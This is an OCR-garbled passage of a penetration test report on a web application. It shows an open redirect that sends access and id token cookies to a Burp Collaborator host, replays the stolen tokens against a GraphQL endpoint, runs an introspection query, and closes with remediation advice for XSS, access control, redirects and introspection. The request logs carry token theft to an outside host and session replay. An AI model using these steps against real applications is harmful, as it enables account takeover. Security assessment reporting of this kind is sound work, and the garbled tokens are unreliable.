12gGGomOXjxodGa3Q9QFKVLRhOXHc5ucuubWBCKCHcWMw
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Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=block

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *; img-
src https: blob: mediastream: data:; font-src https: data:; worker-src blob:

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Set-
Cookie:access_token=eyJ0eXAiOiJKV1QiLCIhbGciOiJSUzI1NilsImtpZCI6IjJFIOWY3NWVINWU2ZDZINzE1
MTQXMTUIMWEzMDQ2MTNhIn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsimF1ZCl6ImRpc
2N1c3MuaWs8iLCJub25jZSI6bnVsbCwiZXhwljoxNjISBNTIOMTk2LCJIpYXQIiOjE2Mjc1MjlzOTZ9.A19CewVJSjf
4cmSQO023nqCbBjh7j7v4QN4DONn7wFaVTwmyJZMBsb9S4cDSngpF5Msex_JbvGR2eOX0hGC8acMVZZD
SvxXLYHy7a-

npbhQI9IMVWYWI6Z3j36DY XrvVIs4rvNpO45P07HgiCeDmp6RBT_0CZS8hQCsAYeOXLba2jY;
expires=Thu, 29-Jul-2021 02:03:16 GMT; Max-Age=1800; path=/; SameSite=Lax

Set-
Cookie:id_token=eyJOeXAiOiJKV1QiLCIhbGciOiJSUzI1NilsImtpZCI6ljFIOWY3NWVINWU2ZDZINZEIMTQ
XMTULMWEzMDQ2MTNhINn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsInN1Yil6[jMOMDIILCJ
hdWQIiOiJkaXNjdXNzLmlvliwibm9uY2UiOm51bGwsimV4cCI6MTYyNzUyNDE5SNiwiaWFOIjoxNjISNTIyMzk2
LCJIIbWFpbCIl6ImRIdittY XJjX3B1cnBsZXNIYy51cOBkaXNjdXNzLmlvliwizZW1haWxfdmVyaWZpZWQiOnRyd
WUsIM5hbWUIOIINY XJjIFN3aXR6ZXIgVXMILCJInaXZIbl9uYW1lljoiTWFyYyBTd2l0emVyliwiZmFtaWx5X2
5hbWUIiOiJVcylsinpvbmVpbmzZvljoiVVRDIiwiZGlvOnJdvbGVzljpbimFkbWIull19.Uhhilbc518Y 2X8uxXKsEgkh
Ue3wO0_I8iJLaLOmIXARJLXgMLNBEX6sYjwilwOzZd4dEWGcWrNhNJbadoLdP_LggbXSbYY_cGGFIfaYgcZB
79g0bPQTx-QvYyp-SoAX5MNoBzgjbyL-7wxc3iw774F-tPakKOKvNNXWqO0j1GQkQ76w; expires=Thu, 29-
Jul-2021 02:03:16 GMT; Max-Age=1800; path=/; SameSite=Lax
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The application sets both sensitive cookies in the HTTP response parameters then redirects the

dev+assessor_purplesec.us@the company user to the attacker-controlled server. The following screenshot

shows these cookies being received by the attacker's server:
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1 GET /?access_token=

eyJ0eXAiOiJKVIQILCIhbGCciOiJSUZIINIiIsImtpZCIGI JFLOWYINWVINWU2ZDZiNZEIMTOXMTUIMWEZMDQ2ZMTNRINO .eyJpe?
10iJodHRWOLlwYXCI3d3cuZGlzYIVaeySpbyIsImFlZCI6ImRPpe2N1C3IMuaWBiLCIub2572SI6bnVebCwiZXhwI joXNFIINTION
K2LCIPpYXQIiOJE2MIcIMjIZ0TZ9.A19CewVISIE4cmSQ023ngCbBih7 J7v4QN4DONTWFaVTWmyJZMBsb9S4cDSngpFSMsex_Jbv
R2e0X0OhGCBacMVZZDsvxLYHy7a~-npbhQl9iMVWYW1623)36DYXrvVIsdrvNpO45P07HgiCeDmp6RBT_0CZS8hQCsAYeOXLba2]
&id_token=

eyJ0eXAiOiJKVIQILCIhDGCiOiJSUZIINAISImtpZCIGI JPLONYINWVINWU2ZDZiINZEIMTOXMTUIMWEZMDQ2MTRAhIND .eyJpel
10iJO0dHRWOLlwYXC93d3cuZGlzYIVaecySpbyISInNIYIiI6I JMOMDILILCINdWQLOLTkaXNJdAXNZLalvIiwibm9uY2UiOm51bGws]
V4cCIEMTYYNZUYNDESNiwiaWFOI JOXNJIINTIYMZK2LCIIbWFPLCISIMRIAtLYXIJXIBlenBsZXN1YyS1cOBkaXNjdXNzLaly
iwiZWlhaWxfdmVyaWZpZWQiOnRydWUsSImShbWULOLINYXIJIFN3AXREZXIGQVXMILCInaXZ1bl9uYW11lIjoiTWFyYyBTd210emV
IiwiZmFtaWwx5X25hbWUioiJVeyIsInpvbaVpbm2ZvIjoiVVRDIAwiZGlvOonIvbGVzIjpbImPkbWiluIll9. . UhhilbeSIBY2X8ux)
sEgkhUeldw0_IBiJLALOmIXARJLXQMLNGEX68Y jwilwOzZd4EWGCWrNANIbadoLdP_LggbXSbYY cGGFIfaYgcZB7qObPQTx-QvY
pP-SOAXSMNOBzgibyL-Twxc3iw774F-tPakKOKvnNxWgO0j1GQkQ76wkcode=
eyJOeXALi0iJKVIQILCIhDGCiOiJSUZIINIISImtpZCIGI JFLONYINWVINWU2ZDZiINZEIMTOXMTUIMWEZMDQ2ZMTNAINO .eyJleF
10JE2MjcIMIOXOTYSImSvbmNLII jJOiMThmODYyODgtMzI10S00ZTUWLThhM2MEMmM2NzY 1Mz2JiZmMO0In0 .gXcWROUK4 ~AgGGA LY
iGwxeg2sb3Zpba7al0pKdCR~-pbl72UVVY _VzE3fylacfIlRKiSpCjlHPaowOg7POBWhEf2¢tVkPxOaplkv18Zsp0Biw8IANn~-0X_ QfF
8gvinmVd-I29GGomOX x0dGa3QIQFXVLRhOXHCSucuubWBCKCHcWMw HTTP/2

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Belor e oot SN O I

Dnt: 1

Upgrade-Insecure-Requests: 1

Connection: close

Host: 6w3ligqlrplugx6862lo0wxxr7id9ly.burpcollaborator.net

Figure 11 - Cookie Redirect To Attacker's Server

The following shows the base64 decoded contents of the id_token excluding the binary signature:

{"typ"

company",

MIWT", "alg™"RS256","kid":"1e9f75eb5e6d6b7151411551a304613aln0.{"iss":"http:\/\/\www.the

company"”,"sub":"3402","aud""the
company”,“nonce”:null,"exp":1627524196,"iat":1627522396,"email":"dev+assessor_purplesec.us@the

email_verified":true,"name":"Assessor","given_name":"Assessor

,"family_name™":"Us","zoneinfo":"UTC","dio:roles":[*admin"]}
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After stealing these sensitive cookies, the attacker can now interact with the application's GraphQL endpoint.
Note, the dio session cookie is not stolen from the victim in this attack. The following is a GraghQL request

using these two stolen cookies:

POST /dashboard/api/project/graphgl HTTP/2

Host: {URL}

Cookie: dio=588a409f6514b4ba55471483afe819d1,;
access_token=eyJ0eXAiOiJKV1QiLCIhbGciOiJSUzI1NilsimtpZCl61jFIOWY3NWVINWU2ZDZINZEIMTQxM
TUIMWEzMDQ2MTNhINn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsimF1ZCl6lmRpc2N1c3M
uaW8iLCJub25jzSI16bnVsbCwiZXhwljoxNjIBNTIOMTk2LCJIpYXQIiOjE2Mjc1MjlzOTZ9.A19CewVJSjf4cmSQ
023nqCbBjh7j7v4QN4DOn7wFaVTwmyJZMBsb9S4cDSngpF5Msex_JbvGR2eOX0hGC8acMVZZDsvxLY
Hy7a-npbhQI9IMVWYWI6Z3j36DY XrvVIs4rvNpO45P0o7HgiCeDmp6RBT_0CZS8hQCsAYeOXLba2jY;
id_token=eyJ0eXAiOiJKV1QiLCIhbGciOiJSUzI1NilsImtpZCI6IjFIOWY3NWVINWU2ZDZINZEIMTQxMTU1
MWEzMDQ2MTNhIn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsInN1Yil6[jMOMDIILCIhdWQi
OiJkaXNjdXNzLmlvliwibm9uY2UiOm51bGwsIimV4cCI6MTYyNzUyNDE5NiwiaWFOIjoxNjISNTIyMzk2LCJlb
WFpbCl6ImRIdittY XJjX3B1cnBsZXNIYy51cOBkaXNjdXNzLmivliwiZW1haWxfdmVyaWzZpZWQiOnRydWUsI
M5hbWUIOIINY XJjIFN3aXR6ZXIgVXMILCJInaXZIblQuYW1lljoiTWFyYyBTd2l0emVyliwiZmFtaWx5X25hbW
UiOiJVceylsinpvbmVpbm2zvljoiVVRDIiwiZGIlvOnJvbGVzljpbImFkbWIull19.Uhhilbc5I18Y2X8uxXKsEgkhUe3w
0_18iJLaLOMIXARJLXgMLN6EX6sYjwlwOzZd4EWGcWrNhNJbadoLdP_LggbXSbYY_cGGFIfaYgczB7qOb
PQTx-QvYyp-SoAX5MNoBzgjbyL-7wxc3iw774F-tPakKOKvNNXWqO0j1GQkQ76w; [...]

{"query":"query ProjectsAndTeamsQuery($startAmount: Int, $afterCursor: String, $name: String) {\n viewer
{\n identity\n id\n metadata\n projects(first: $startAmount, after: $afterCursor, name: $name, orderBy: [{field:
\"createdAt\", direction: DESC}]) {\n pagelnfo {\n startCursor\n endCursor\n hasNextPage\n __typename\n
Hn totalCount\n edges {\n cursor\n node {\n data\n externalld\n hrefin longitudinalLink\n isPublic\n name\n
status\n createdAt\n ownerName\n ownerEmail\n projectType\n __typename\n }\n __typename\n }\n
__typename\n \n __typename\n
Hnhn","variables":{"startAmount":10,"afterCursor":null,"name":""},"operationName":"ProjectsAnd TeamsQuer

y'}
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HTTP/2 200 OK

Date: Thu, 29 Jul 2021 01:38:33 GMT

Content-Type: application/json; charset=utf-8

X-Powered-By: Express

Vary: Accept-Encoding

{"data":{"viewer":{"identity":"dev+assessor_purplesec.us@the company","id":"elbb4aac-52e1-401e-b0Oec-
ea5337047b53","metadata":null,

[.]
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GraphQL Introspection Enabled

Severity: Low
The application enables GraphQL introspection. This enables users to query the GraphQL server for
information about the underlying schema. This includes data like types, fields, queries, mutations, and even

field-level descriptions.

The following GraghQL introspection query retrieves all underlying schema information:

POST /dashboard/api/project/graphqgl HTTP/2
Host: app.the company

Cookie <snip>

Content-Type: application/json

Authorization: Bearer

Accept: */*

Content-Length: 1765

Connection: close

{"query™:"\n query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n
subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n
...InputValue\n \n An A\n J\n\n fragment FullType on __ Type {\n kind\n name\n description\n
fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n
isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ... TypeRef\n }\n
enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n
possibleTypes {\n ...TypeRef\n \n A\n\n fragment InputValue on __InputValue {\n name\n description\n type {
...TypeRef N\n defaultValue\n \n\n fragment TypeRef on __ Type {\n kind\n name\n ofType {\n kind\n name\n
ofType {\n kind\n name\n of Type {\n kind\n name\n ofType {\n kind\n name\n of Type {\n kind\n name\n ofType
{\n kind\n name\n ofType {\n kind\n name\n \n \n A\n \n A\n }\n A\n 7\n ","operationName":"IntrospectionQuer



https://purplesec.us/

HTTP/2 200 OK

Date: Thu, 29 Jul 2021 00:40:48 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 52851

X-Powered-By: Express

Vary: Accept-Encoding

{"data™:{"__schema":{"queryType":{"name":"Query"},"mutationType":{"name":"Mutation"},"subscriptionType":
null,"types":[{"kind":"OBJECT","name":"Query","description"
[...]
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Appendix A - Findings & Recommendations

1. Stored Cross-Site Scripting

An attacker can use Cross-Site-Scripting to insert malicious JavaScript into the application that could then be
executed by another user. Consequences of this vulnerability include sensitive account hijacking, stolen

credentials, and sensitive data could be exfiltrated.

Recommendations:
Cross-site scripting vulnerabilities can be remediated by implemented two countermeasures — input validation
and output encoding. These controls restrict impact by sanitizing the user's input to remove special characters
and then encoding any remaining special characters before returning the content to the user.
e Input Validation: It is recommended that the user's input is sanitized by removing special characters
<,>'", &/ and JavaScript onEvent actions.
e Output Encoding: If special characters are required in the affected parameters, output encoding should
be used to replace special characters with their HTML equivalent. (e.g., < becomes <)

URL Locations:

Instance 1
e Redacted

Instance 2

e Redacted

Instance 3

e Redacted

Instance 4

e Redacted

Additional Resources:
e OWASP Cross-site Scripting


https://purplesec.us/
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)

2. Authorization Restriction Bypass
An attacker can use these instances of broken access controls to discover sensitive application user
information and data. This information can be used to further other types of attacks such as phishing, steal
user data and cause reputational harm.
Recommendations:
Enforce authorization controls at a granular level. Ensure that application users only have access to perform
actions they have the authorization to do.
URL Locations
Instance 1
e Redacted
Instance 2

e Redacted

Additional Resources:
e OWASP Broken Access Controls


https://purplesec.us/
https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control

3. Open Redirect

An attacker can use this open redirect to steal sensitive cookies from application users. This can be used to
further other types of attacks against the application or its users.

Recommendations:
Ensure that the application validates all URLs and only redirects to whitelisted domains.

URL Location
e Redacted

Additional Information:
e OWASP Open Redirect


https://purplesec.us/
https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

4. GraphQL Introspection Enabled

An attacker can leverage information returned in the GrapQL introspection query to further other types of

attacks against the application.

Recommendations:

Ensure that GrapQL introspection is not enabled.

Additional Information:
e OWASP GraphQL

URL Location
e Redacted


https://purplesec.us/
https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html

